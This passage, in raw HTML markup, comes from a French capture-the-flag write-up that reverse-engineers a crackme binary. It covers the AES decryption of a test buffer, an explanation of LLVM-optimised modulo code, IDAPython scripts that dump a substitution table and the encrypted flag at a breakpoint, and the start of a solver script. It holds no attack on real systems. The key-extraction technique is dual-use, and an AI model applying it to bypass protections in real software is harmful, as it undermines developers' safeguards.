             &lt;span class="mh"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="mh"&gt;0xAE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xD7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x9E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="mh"&gt;0xAE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3A&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;to_decode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x84\xc5\x5d\xc4\xec\x5a\xD2\xa6\xf7\x17\x76\x93\x8a\xf5\xd7\x48&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;to_decode&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On retombe bien sur notre plaintext, suivi de b"\n" qui se répètent 10 fois. Il s'agit là du padding par défaut, implémenté par la fonction "pad" dans PyCrypto. Il ne nous reste plus qu'à déterminer la transformation effectuée sur l'entrée, puis l'"inverser" afin de retrouver notre flag.&lt;/p&gt;
&lt;h2&gt;Substitutions go brrr&lt;/h2&gt;
&lt;p&gt;Il ne nous reste plus qu'à localiser l'endroit où notre entrée est transformée, et comprendre l'algorithme de transformation. Pour cela, remontons les cross references de la variable donnée au RefReadBuffer, qui contient notre flag chiffré (la variable &lt;code&gt;arg_10&lt;/code&gt;):
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz5.png"&gt;&lt;img src="media/inctf_jazz/jazz5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Nous arrivons dans cette portion de code:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz6.png"&gt;&lt;img src="media/inctf_jazz/jazz6.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On peut voir que ce buffer est rempli octet par octet par le contenu du registre &lt;code&gt;r13b&lt;/code&gt;, et en remontant dans le code, nous trouvons ce bloc intéressant:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/inctf_jazz/jazz7.png"&gt;&lt;img src="media/inctf_jazz/jazz7.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Après quelques recherches, il s'avère que ce gros bloc de code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0DD67C8A60DD67C8Bh&lt;/span&gt;
&lt;span class="nf"&gt;mul&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;
&lt;span class="nf"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;
&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;n'est en réalité qu'un &lt;code&gt;rdi % 37&lt;/code&gt; optimisé par LLVM. De même pour le bloc du dessous, qui est un modulo 37*0x18 optimisé par LLVM.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;378h&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rbp&lt;/span&gt;
&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; rax = rcx % 37*0x18&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;30h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;var_20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous amène au bloc de code suivant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; rax contient un compteur&lt;/span&gt;
&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; rax = rcx % 37*0x18&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; on charge le pointeur contenu en rdx + rax dans rax&lt;/span&gt;
&lt;span class="nf"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; on charge le char pointé dans rax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Fort ce ces informations, on peut retrouver l'algorithme.
Le programme a généré un tableau de 37 slices d'octets de 256 caractères, où un slice peut être représenté par la structure ci-dessous, qui fait 0x18 octets:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;slice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis pour chaque caractère de l'entrée, il prend le slice situé à la i-ème position du caractère, puis prend le caractère situé à la valeur ASCII du i-ème char de l'entrée. En pseudocode C, ça donnerait:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slicearr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Pétage du crackme&lt;/h2&gt;
&lt;p&gt;Pour dumper cette fameuse table, on va faire un peu d'IDAPython. Tout d'abord, on place un breakpoint sur l'instruction &lt;code&gt;movzx r13d, byte ptr[rax + rdi]&lt;/code&gt;, et on relance le debug de l'appli. Puis on exécutera le code IDAPython suivant pour dumper notre tableau:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;array_begin&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_reg_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;rdx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;[&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;array&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idaapi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_qword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array_begin&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idaapi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;, &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il nous suffira de copier-coller la sortie dans notre fichier Python de solution du challenge. Une fois le code IDAPython exécuté, on veillera à supprimer le breakpoint sur le movzx.&lt;/p&gt;
&lt;p&gt;Maintenant, il ne nous reste plus qu'à localiser le flag chiffré, pour le déchiffrer en AES, puis faire la substitution inverse. Heureusement pour nous, le flag est rempli au moment où le breakpoint sur l'initialisation d'AES sera atteint. Il nous suffira donc de le dumper en entrant cette ligne:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;idaapi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_qword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_reg_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;rsp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;216&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;et en copiant la la sortie dans notre script Python, qui ressemble à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Crypto.Cipher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;Crypto.Util.Padding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;

&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="mh"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
             &lt;span class="mh"&gt;0xAE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
